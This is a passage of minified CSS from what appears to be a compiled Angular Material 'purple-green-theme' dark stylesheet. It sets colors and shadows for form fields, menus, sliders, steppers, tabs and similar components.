.mat-hint{color:#ffffffb3}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-label{color:#7b1fa2}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#69f0ae}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.purple-green-theme .mat-focused .mat-form-field-required-marker{color:#69f0ae}.purple-green-theme .mat-form-field-ripple{background-color:#fff}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#7b1fa2}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#69f0ae}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.purple-green-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#7b1fa2}.purple-green-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#69f0ae}.purple-green-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.purple-green-theme .mat-error{color:#f44336}.purple-green-theme .mat-form-field-appearance-legacy .mat-form-field-label,.purple-green-theme .mat-form-field-appearance-legacy .mat-hint{color:#ffffffb3}.purple-green-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#ffffffb3}.purple-green-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.purple-green-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#ffffffb3}.purple-green-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.purple-green-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#ffffff1a}.purple-green-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#ffffff0d}.purple-green-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#ffffff80}.purple-green-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.purple-green-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.purple-green-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#ffffff4d}.purple-green-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#fff}.purple-green-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#7b1fa2}.purple-green-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#69f0ae}.purple-green-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.purple-green-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.purple-green-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.purple-green-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#ffffff26}.purple-green-theme .mat-icon.mat-primary{color:#7b1fa2}.purple-green-theme .mat-icon.mat-accent{color:#69f0ae}.purple-green-theme .mat-icon.mat-warn{color:#f44336}.purple-green-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#ffffffb3}.purple-green-theme .mat-input-element:disabled,.purple-green-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#ffffff80}.purple-green-theme .mat-input-element{caret-color:#7b1fa2}.purple-green-theme .mat-input-element::placeholder{color:#ffffff80}.purple-green-theme .mat-input-element::-moz-placeholder{color:#ffffff80}.purple-green-theme .mat-input-element::-webkit-input-placeholder{color:#ffffff80}.purple-green-theme .mat-input-element:-ms-input-placeholder{color:#ffffff80}.purple-green-theme .mat-input-element:not(.mat-native-select-inline) option{color:#000000de}.purple-green-theme .mat-input-element:not(.mat-native-select-inline) option:disabled{color:#00000061}.purple-green-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#69f0ae}.purple-green-theme .mat-form-field.mat-warn .mat-input-element,.purple-green-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.purple-green-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.purple-green-theme .mat-list-base .mat-list-item,.purple-green-theme .mat-list-base .mat-list-option{color:#fff}.purple-green-theme .mat-list-base .mat-subheader{color:#ffffffb3}.purple-green-theme .mat-list-base .mat-list-item-disabled{background-color:#ffffff1f;color:#ffffff80}.purple-green-theme .mat-list-option:hover,.purple-green-theme .mat-list-option:focus,.purple-green-theme .mat-nav-list .mat-list-item:hover,.purple-green-theme .mat-nav-list .mat-list-item:focus,.purple-green-theme .mat-action-list .mat-list-item:hover,.purple-green-theme .mat-action-list .mat-list-item:focus{background:rgba(255,255,255,.04)}.purple-green-theme .mat-list-single-selected-option,.purple-green-theme .mat-list-single-selected-option:hover,.purple-green-theme .mat-list-single-selected-option:focus{background:rgba(255,255,255,.12)}.purple-green-theme .mat-menu-panel{background:#424242}.purple-green-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-menu-item{background:transparent;color:#fff}.purple-green-theme .mat-menu-item[disabled],.purple-green-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.purple-green-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#ffffff80}.purple-green-theme .mat-menu-item .mat-icon-no-color,.purple-green-theme .mat-menu-submenu-icon{color:#fff}.purple-green-theme .mat-menu-item:hover:not([disabled]),.purple-green-theme .mat-menu-item.cdk-program-focused:not([disabled]),.purple-green-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.purple-green-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(255,255,255,.04)}.purple-green-theme .mat-paginator{background:#424242}.purple-green-theme .mat-paginator,.purple-green-theme .mat-paginator-page-size .mat-select-trigger{color:#ffffffb3}.purple-green-theme .mat-paginator-decrement,.purple-green-theme .mat-paginator-increment{border-top:2px solid white;border-right:2px solid white}.purple-green-theme .mat-paginator-first,.purple-green-theme .mat-paginator-last{border-top:2px solid white}.purple-green-theme .mat-icon-button[disabled] .mat-paginator-decrement,.purple-green-theme .mat-icon-button[disabled] .mat-paginator-increment,.purple-green-theme .mat-icon-button[disabled] .mat-paginator-first,.purple-green-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#ffffff80}.purple-green-theme .mat-progress-bar-background{fill:#432c4d}.purple-green-theme .mat-progress-bar-buffer{background-color:#432c4d}.purple-green-theme .mat-progress-bar-fill:after{background-color:#7b1fa2}.purple-green-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#3e6050}.purple-green-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#3e6050}.purple-green-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#69f0ae}.purple-green-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#613532}.purple-green-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#613532}.purple-green-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.purple-green-theme .mat-progress-spinner circle,.purple-green-theme .mat-spinner circle{stroke:#7b1fa2}.purple-green-theme .mat-progress-spinner.mat-accent circle,.purple-green-theme .mat-spinner.mat-accent circle{stroke:#69f0ae}.purple-green-theme .mat-progress-spinner.mat-warn circle,.purple-green-theme .mat-spinner.mat-warn circle{stroke:#f44336}.purple-green-theme .mat-radio-outer-circle{border-color:#ffffffb3}.purple-green-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#7b1fa2}.purple-green-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.purple-green-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.purple-green-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.purple-green-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#7b1fa2}.purple-green-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#69f0ae}.purple-green-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.purple-green-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.purple-green-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.purple-green-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#69f0ae}.purple-green-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.purple-green-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.purple-green-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.purple-green-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.purple-green-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.purple-green-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#ffffff80}.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#ffffff80}.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#ffffff80}.purple-green-theme .mat-radio-button .mat-ripple-element{background-color:#fff}.purple-green-theme .mat-select-value{color:#fff}.purple-green-theme .mat-select-placeholder,.purple-green-theme .mat-select-disabled .mat-select-value{color:#ffffff80}.purple-green-theme .mat-select-arrow{color:#ffffffb3}.purple-green-theme .mat-select-panel{background:#424242}.purple-green-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(255,255,255,.12)}.purple-green-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#7b1fa2}.purple-green-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#69f0ae}.purple-green-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.purple-green-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.purple-green-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#ffffff80}.purple-green-theme .mat-drawer-container{background-color:#303030;color:#fff}.purple-green-theme .mat-drawer{background-color:#424242;color:#fff}.purple-green-theme .mat-drawer.mat-drawer-push{background-color:#424242}.purple-green-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.purple-green-theme .mat-drawer-side{border-right:solid 1px rgba(255,255,255,.12)}.purple-green-theme .mat-drawer-side.mat-drawer-end,.purple-green-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(255,255,255,.12);border-right:none}.purple-green-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(255,255,255,.12)}.purple-green-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#bdbdbd99}.purple-green-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#69f0ae}.purple-green-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#69f0ae8a}.purple-green-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#69f0ae}.purple-green-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#7b1fa2}.purple-green-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#7b1fa28a}.purple-green-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#7b1fa2}.purple-green-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.purple-green-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.purple-green-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.purple-green-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#fff}.purple-green-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#bdbdbd}.purple-green-theme .mat-slide-toggle-bar{background-color:#ffffff80}.purple-green-theme .mat-slider-track-background{background-color:#ffffff4d}.purple-green-theme .mat-slider.mat-primary .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-primary .mat-slider-thumb,.purple-green-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#7b1fa2}.purple-green-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.purple-green-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#7b1fa233}.purple-green-theme .mat-slider.mat-accent .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-accent .mat-slider-thumb,.purple-green-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#69f0ae}.purple-green-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#000000de}.purple-green-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#69f0ae33}.purple-green-theme .mat-slider.mat-warn .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-warn .mat-slider-thumb,.purple-green-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.purple-green-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.purple-green-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.purple-green-theme .mat-slider:hover .mat-slider-track-background,.purple-green-theme .mat-slider.cdk-focused .mat-slider-track-background,.purple-green-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.purple-green-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#ffffff4d}.purple-green-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#ffffff1f}.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#fff}.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#ffffff4d}.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#ffffff4d;background-color:transparent}.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#ffffff4d}.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#ffffff4d}.purple-green-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#ffffffb3}.purple-green-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.purple-green-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.purple-green-theme .mat-step-header.cdk-keyboard-focused,.purple-green-theme .mat-step-header.cdk-program-focused,.purple-green-theme .mat-step-header:hover:not([aria-disabled]),.purple-green-theme .mat-step-header:hover[aria-disabled=false]{background-color:#ffffff0a}.purple-green-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.purple-green-theme .mat-step-header:hover{background:none}}.purple-green-theme .mat-step-header .mat-step-label,.purple-green-theme .mat-step-header .mat-step-optional{color:#ffffffb3}.purple-green-theme .mat-step-header .mat-step-icon{background-color:#ffffffb3;color:#fff}.purple-green-theme .mat-step-header .mat-step-icon-selected,.purple-green-theme .mat-step-header .mat-step-icon-state-done,.purple-green-theme .mat-step-header .mat-step-icon-state-edit{background-color:#7b1fa2;color:#fff}.purple-green-theme .mat-step-header.mat-accent .mat-step-icon{color:#000000de}.purple-green-theme .mat-step-header.mat-accent .mat-step-icon-selected,.purple-green-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.purple-green-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#69f0ae;color:#000000de}.purple-green-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.purple-green-theme .mat-step-header.mat-warn .mat-step-icon-selected,.purple-green-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.purple-green-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.purple-green-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.purple-green-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#fff}.purple-green-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.purple-green-theme .mat-stepper-horizontal,.purple-green-theme .mat-stepper-vertical{background-color:#424242}.purple-green-theme .mat-stepper-vertical-line:before{border-left-color:#ffffff1f}.purple-green-theme .mat-horizontal-stepper-header:before,.purple-green-theme .mat-horizontal-stepper-header:after,.purple-green-theme .mat-stepper-horizontal-line{border-top-color:#ffffff1f}.purple-green-theme .mat-sort-header-arrow{color:#c6c6c6}.purple-green-theme .mat-tab-nav-bar,.purple-green-theme .mat-tab-header{border-bottom:1px solid rgba(255,255,255,.12)}.purple-green-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.purple-green-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(255,255,255,.12);border-bottom:none}.purple-green-theme .mat-tab-label,.purple-green-theme .mat-tab-link{color:#fff}.purple-green-theme .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-link.mat-tab-disabled{color:#ffffff80}.purple-green-theme .mat-tab-header-pagination-chevron{border-color:#fff}.purple-green-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#ffffff80}.purple-green-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.purple-green-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.purple-green-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#9c27b04d}.purple-green-theme .mat-tab-group.mat-primary .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#7b1fa2}.purple-green-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.purple-green-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#b9f6ca4d}.purple-green-theme .mat-tab-group.mat-accent .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#69f0ae}.purple-green-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#000000de}.purple-green-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.purple-green-theme .mat-tab-group.mat-warn .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.purple-green-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#9c27b04d}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#7b1fa2}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#b9f6ca4d}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.purple-green-theme 